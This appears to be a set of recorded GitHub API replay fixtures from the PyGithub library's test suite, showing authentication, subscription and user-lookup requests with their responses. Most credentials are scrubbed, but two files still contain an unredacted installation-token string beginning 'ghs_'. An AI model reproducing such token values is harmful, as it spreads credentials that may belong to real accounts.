web.","clone_url":"https://github.com/jstasiak/django-realtime.git","ssh_url":"git@github.com:jstasiak/django-realtime.git","html_url":"https://github.com/jstasiak/django-realtime","created_at":"2011-09-20T19:13:10Z","id":2424738,"open_issues":0},{"pushed_at":"2012-05-21T16:12:27Z","git_url":"git://github.com/AcmeSystems/playground.git","updated_at":"2012-05-21T16:12:27Z","homepage":"http://www.acmesystems.it","url":"https://api.github.com/repos/AcmeSystems/playground","has_downloads":true,"watchers":6,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/AcmeSystems/playground","has_wiki":true,"has_issues":true,"size":148,"private":false,"forks":3,"owner":{"url":"https://api.github.com/users/AcmeSystems","login":"AcmeSystems","gravatar_id":"af55714b265c4914c8bb8db49fc06da6","avatar_url":"https://secure.gravatar.com/avatar/af55714b265c4914c8bb8db49fc06da6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":783524},"name":"playground","language":"Python","description":"Small programming examples for the FOX Board G20","clone_url":"https://github.com/AcmeSystems/playground.git","ssh_url":"git@github.com:AcmeSystems/playground.git","html_url":"https://github.com/AcmeSystems/playground","created_at":"2011-10-17T16:16:10Z","id":2593052,"open_issues":0},{"pushed_at":"2011-11-07T14:55:19Z","git_url":"git://github.com/juuso/BozoCrack.git","updated_at":"2012-05-21T19:49:13Z","homepage":"","url":"https://api.github.com/repos/juuso/BozoCrack","has_downloads":true,"watchers":376,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/juuso/BozoCrack","has_wiki":true,"has_issues":true,"size":140,"private":false,"forks":39,"owner":{"url":"https://api.github.com/users/juuso","login":"juuso","gravatar_id":"d3231546d42d67974fc51956a3b627f4","avatar_url":"https://secure.gravatar.com/avatar/d3231546d42d67974fc51956a3b627f4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614446},"name":"BozoCrack","language":"Ruby","description":"A silly & effective MD5 cracker in Ruby","clone_url":"https://github.com/juuso/BozoCrack.git","ssh_url":"git@github.com:juuso/BozoCrack.git","html_url":"https://github.com/juuso/BozoCrack","created_at":"2011-11-07T13:02:08Z","id":2726128,"open_issues":8},{"pushed_at":null,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_downloads":true,"watchers":2,"permissions":{"pull":true,"admin":true,"push":true},"mirror_url":null,"fork":false,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","has_wiki":true,"has_issues":true,"size":0,"private":false,"forks":1,"owner":{"url":"https://api.github.com/users/BeaverSoftware","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":1424031},"name":"FatherBeaver","language":null,"description":"","clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","html_url":"https://github.com/BeaverSoftware/FatherBeaver","created_at":"2012-02-09T19:32:21Z","id":3400397,"open_issues":0}] https GET api.github.com None /user/subscriptions?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '4493'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"5894e9073dc54de74c439e23fc738fe7"'), ('date', 'Sat, 26 May 2012 10:36:30 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/abersager/PyGithub.git","has_downloads":true,"watchers":2,"updated_at":"2012-03-28T10:37:22Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/abersager/PyGithub","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/abersager/PyGithub","owner":{"url":"https://api.github.com/users/abersager","avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","login":"abersager","id":1328351},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:abersager/PyGithub.git","git_url":"git://github.com/abersager/PyGithub.git","pushed_at":"2012-03-26T10:05:31Z","created_at":"2012-03-26T09:12:45Z","id":3831162,"mirror_url":null,"html_url":"https://github.com/abersager/PyGithub","full_name":"abersager/PyGithub"},{"clone_url":"https://github.com/django/django.git","has_downloads":true,"watchers":2391,"updated_at":"2012-05-26T10:30:33Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/django/django","has_wiki":false,"has_issues":false,"fork":false,"forks":263,"size":8408,"private":false,"open_issues":37,"svn_url":"https://github.com/django/django","owner":{"url":"https://api.github.com/users/django","avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"fd542381031aa84dca86628ece84fc07","login":"django","id":27804},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:django/django.git","git_url":"git://github.com/django/django.git","pushed_at":"2012-05-26T09:54:24Z","created_at":"2012-04-28T02:47:18Z","id":4164482,"mirror_url":null,"html_url":"https://github.com/django/django","full_name":"django/django"},{"clone_url":"https://github.com/jacquev6/django.git","has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","git_url":"git://github.com/jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"mirror_url":null,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","git_url":"git://github.com/jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"mirror_url":null,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"}] https GET api.github.com None /repos/nvie/gitflow/subscription {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 No Content'), ('x-ratelimit-remaining', '4993'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 17:15:06 GMT')] https DELETE api.github.com None /repos/nvie/gitflow/subscription {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4992'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 17:15:07 GMT')] https GET api.github.com None /repos/nvie/gitflow/subscription {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4991'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Tue, 22 May 2012 17:15:07 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /repos/nvie/gitflow/subscription {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"subscribed": true} 200 [('status', '204 No Content'), ('x-ratelimit-remaining', '4990'), ('x-ratelimit-limit', '5000'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 17:15:08 GMT')] https GET api.github.com None /repos/nvie/gitflow/subscription {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '204 No Content'), ('x-ratelimit-remaining', '4989'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 17:15:09 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testAppAuthAuthentication.txt0000644000175100001660000001047714756101563027050 0ustar00runnerdockerhttps POST api.github.com None /app/installations/29782936/access_tokens {'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"token":"ghs_1llwuELtXN5HDOB99XhpcTXdJxbOuF0ZlSmj", "expires_at":"2024-11-25T01:00:02Z", "permissions":{"issues":"read","metadata":"read"}, "repository_selection":"selected"} https GET api.github.com None /users/ammarmallik {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '57'), ('content-length', '1338'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', 'W/"e5e65462690241eb7d9bc213cc00b3df2c75984d29a36b2ee8e151deaf4f3981"'), ('date', 'Tue, 25 Oct 2022 02:01:06 GMT'), ('x-ratelimit-reset', '1666666583'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-resource', 'core'), ('x-ratelimit-used', '3'), ('accept-ranges', 'bytes'), ('x-github-request-id', 'D8C1:7CE1:C3DF20:D546B4:63574361'), ('content-security-policy', "default-src 'none'"), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-xss-protection', '0'), ('x-content-type-options', 'nosniff'), ('x-frame-options', 'deny'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('access-control-allow-origin', '*'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('x-github-media-type', 'github.v3; format=jsom'), ('last-modified', 'Mon, 24 Oct 2022 20:26:22 GMT'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept, Accept-Encoding, Accept, X-Requested-With')] {"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false,"name":"Ammar Akbar","company":null,"blog":"","location":"Lahore","email":null,"hireable":true,"bio":null,"twitter_username":null,"public_repos":14,"public_gists":2,"followers":0,"following":3,"created_at":"2017-06-05T09:42:01Z","updated_at":"2022-10-24T20:26:22Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testAppAuthTokenAuthentication.txt0000644000175100001660000000215314756101563030041 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0e3990a84c08ccd728a27dbe549d4f86"'), ('date', 'Sat, 26 May 2012 09:34:29 GMT'), ('x-oauth-scopes', ''), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user')] {"type":"User","company":"Criteo","location":"Paris, France","hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","bio":"","following":24,"blog":"http://vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"html_url":"https://github.com/jacquev6","url":"https://api.github.com/users/jacquev6","name":"Vincent Jacques","login":"jacquev6","public_repos":11,"public_gists":1,"email":"vincent@vincent-jacques.net","id":327146,"created_at":"2010-07-09T06:10:06Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testAppAuthentication.txt0000644000175100001660000001047714756101563026226 0ustar00runnerdockerhttps POST api.github.com None /app/installations/29782936/access_tokens {'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"token":"ghs_1llwuELtXN5HDOB99XhpcTXdJxbOuF0ZlSmj", "expires_at":"2024-11-25T01:00:02Z", "permissions":{"issues":"read","metadata":"read"}, "repository_selection":"selected"} https GET api.github.com None /users/ammarmallik {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '57'), ('content-length', '1338'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', 'W/"e5e65462690241eb7d9bc213cc00b3df2c75984d29a36b2ee8e151deaf4f3981"'), ('date', 'Tue, 25 Oct 2022 02:01:06 GMT'), ('x-ratelimit-reset', '1666666583'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-resource', 'core'), ('x-ratelimit-used', '3'), ('accept-ranges', 'bytes'), ('x-github-request-id', 'D8C1:7CE1:C3DF20:D546B4:63574361'), ('content-security-policy', "default-src 'none'"), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-xss-protection', '0'), ('x-content-type-options', 'nosniff'), ('x-frame-options', 'deny'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('access-control-allow-origin', '*'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('x-github-media-type', 'github.v3; format=jsom'), ('last-modified', 'Mon, 24 Oct 2022 20:26:22 GMT'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept, Accept-Encoding, Accept, X-Requested-With')] {"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false,"name":"Ammar Akbar","company":null,"blog":"","location":"Lahore","email":null,"hireable":true,"bio":null,"twitter_username":null,"public_repos":14,"public_gists":2,"followers":0,"following":3,"created_at":"2017-06-05T09:42:01Z","updated_at":"2022-10-24T20:26:22Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testAppInstallationAuthAuthentication.txt0000644000175100001660000003270014756101563031423 0ustar00runnerdockerhttps POST api.github.com None /app/installations/29782936/access_tokens {'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"token":"private_token_removed", "expires_at":"2024-11-25T01:00:02Z", "permissions":{"metadata":"read"}, "repository_selection":"selected"} https POST api.github.com None /app/installations/29782936/access_tokens {'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"token":"refreshed_private_token_removed", "expires_at":"2025-11-25T01:00:02Z", "permissions":{"metadata":"read"}, "repository_selection":"selected"} https GET api.github.com None /users/ammarmallik {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '57'), ('content-length', '1338'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', 'W/"e5e65462690241eb7d9bc213cc00b3df2c75984d29a36b2ee8e151deaf4f3981"'), ('date', 'Tue, 25 Oct 2022 02:01:06 GMT'), ('x-ratelimit-reset', '1666666583'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-resource', 'core'), ('x-ratelimit-used', '3'), ('accept-ranges', 'bytes'), ('x-github-request-id', 'D8C1:7CE1:C3DF20:D546B4:63574361'), ('content-security-policy', "default-src 'none'"), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-xss-protection', '0'), ('x-content-type-options', 'nosniff'), ('x-frame-options', 'deny'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('access-control-allow-origin', '*'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('x-github-media-type', 'github.v3; format=jsom'), ('last-modified', 'Mon, 24 Oct 2022 20:26:22 GMT'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept, Accept-Encoding, Accept, X-Requested-With')] {"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false,"name":"Ammar Akbar","company":null,"blog":"","location":"Lahore","email":null,"hireable":true,"bio":null,"twitter_username":null,"public_repos":14,"public_gists":2,"followers":0,"following":3,"created_at":"2017-06-05T09:42:01Z","updated_at":"2022-10-24T20:26:22Z"} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 09 May 2023 08:03:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c4bbbf57b6ff21caac0b59dec0ae83b3b9e66a234db40e22ee60c1b26b771a3f"'), ('Last-Modified', 'Tue, 09 May 2023 07:44:21 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '55'), ('X-RateLimit-Reset', '1683622021'), ('X-RateLimit-Resource', 'core'), ('X-RateLimit-Used', '5'), ('Accept-Ranges', 'bytes'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'C22C:5529:6AEA2F:6BEA9A:6459FE6B')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 